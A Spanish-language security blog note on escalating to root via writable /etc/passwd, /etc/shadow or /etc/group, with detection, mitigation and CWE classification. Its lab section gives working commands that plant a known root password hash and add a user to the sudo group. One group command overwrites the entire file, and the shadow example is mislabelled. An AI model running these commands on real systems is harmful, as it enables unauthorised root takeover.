cd ~/blog

~/vulns/writable-critical-files-privesc.md

Writable Critical Files Privesc

privescautor: Jordy Pérez Osorio aviso legal
privescLinuxpasswdshadow

~3 min de lectura


1. Descripción técnica del ataque

Esta técnica de escalada de privilegios abusa de permisos incorrectos sobre archivos críticos del sistema que definen usuarios, contraseñas y grupos. Cuando uno de estos ficheros es escribible por un usuario sin privilegios, este puede modificarlo para obtener acceso como root o como un usuario privilegiado. Los archivos más relevantes son:

  • /etc/passwd: define las cuentas del sistema. Históricamente podía contener el hash de la contraseña en el segundo campo (x indica que está en /etc/shadow). Si es escribible, se puede:
    • Reemplazar la x de root por un hash de contraseña conocido (generado con openssl passwd).
    • Añadir un nuevo usuario con UID 0.
  • /etc/shadow: contiene los hashes reales de las contraseñas. Si es escribible, se puede sustituir el hash de root por uno controlado. La lectura mediante el grupo shadow es una exposición distinta: puede habilitar un ataque fuera de línea contra los hashes, pero no concede capacidad de modificación.
  • /etc/group: define los grupos. Si es escribible, un usuario puede autoasignarse a grupos privilegiados como sudo, root o shadow, aunque el efecto concreto depende de las políticas asociadas a cada grupo.

2. Impacto de la vulnerabilidad

  • Escalada a root de forma directa y fiable.
  • Persistencia trivial (cuenta con UID 0 o contraseña conocida).
  • En el caso de /etc/group, acceso a grupos que habilitan otras vías (p. ej. sudo o lectura de /etc/shadow).

3. Historia y evolución

  • Es una clase de error de configuración tan antigua como el modelo de permisos de Unix.
  • Sigue siendo muy común en CTFs y en sistemas con permisos mal endurecidos (a menudo introducidos por scripts de despliegue descuidados).

4. Condiciones necesarias

  1. Permisos de escritura para usuarios no privilegiados sobre /etc/passwd, /etc/shadow o /etc/group.
  2. Pertenencia a grupos como shadow (lectura de hashes) por una asignación incorrecta.
  3. Falta de controles de integridad sobre estos archivos.

5. Validación y detección

ls -l /etc/passwd /etc/shadow /etc/group
id          # ¿pertenezco a grupos como shadow, sudo, adm...?
find / -writable -type f 2>/dev/null | grep -E '/etc/(passwd|shadow|group)'

Herramientas como LinPEAS señalan automáticamente estos archivos cuando son escribibles.

6. Mitigación

  1. Restaurar propietarios y permisos según la distribución: /etc/passwd y /etc/group suelen ser 644 root:root; /etc/shadow no debe ser escribible por usuarios no autorizados. La propiedad y el modo exactos deben compararse con los valores del paquete y la política del sistema.
  2. Revisar las pertenencias a grupos sensibles (shadow, sudo, adm, disk).
  3. Auditar los scripts de despliegue que tocan estos ficheros.
  4. Usar herramientas de integridad (AIDE, auditd) para detectar cambios.

7. Ejemplos de laboratorio y casos documentados

Los writeups 017-tron, 066-ephemeral_3 y 121-p4l4nc4 documentan escritura sobre /etc/passwd; 095-hundred registra escritura sobre /etc/shadow; 052-blackhat modifica una política bajo /etc/sudoers.d; y 129-umz combina un binario SUID con escritura sobre el archivo crítico. Los bloques siguientes muestran las variantes generales conservadas en esta nota.

Caso /etc/passwd escribible: generamos un hash y reemplazamos el campo de contraseña de root:

❯ openssl passwd -1
Password: 1234
$1$pIbEKbAQ$hpMd40txGbBrL.iqh.6/51

# en la víctima, editar /etc/passwd:
root:$1$pIbEKbAQ$hpMd40txGbBrL.iqh.6/51:0:0:root:/root:/bin/bash
$ su root      # contraseña: 1234

Caso /etc/group escribible: nos añadimos al grupo sudo:

lancer@lower:~$ echo 'sudo:x:27:lancer' > /etc/group
lancer@lower:~$ su lancer        # recargar grupos
lancer@lower:~$ id
uid=1000(lancer) ... grupos=1000,27(sudo)
lancer@lower:~$ sudo bash
root@lower:/home/lancer#

Caso /etc/shadow escribible (grupo shadow): sustituimos el hash de root por uno de contraseña vacía:

❯ openssl passwd -1          # con contraseña vacía
$1$3rtnhbQf$d6bF.2.8NcXKURXi.E8fg/

# en la víctima, editar /etc/shadow:
root:$1$3rtnhbQf$d6bF.2.8NcXKURXi.E8fg/:20134:0:99999:7:::
$ su root      # contraseña vacía

8. Clasificación

  • Tipo: Privilege Escalation / Incorrect Permission Assignment
  • CWE:
    • CWE-732 – Incorrect Permission Assignment for Critical Resource
    • CWE-276 – Incorrect Default Permissions

9. Resumen

Cuando /etc/passwd, /etc/shadow, /etc/group o una política equivalente son escribibles por usuarios sin privilegios, su contenido puede alterar identidades, autenticación o autorización. Pertenecer al grupo shadow sólo concede la lectura definida por la distribución y no equivale a controlar el archivo. La defensa consiste en restaurar propietarios y permisos, además de auditar ACL y pertenencias a grupos.

10. Referencias

// relacionados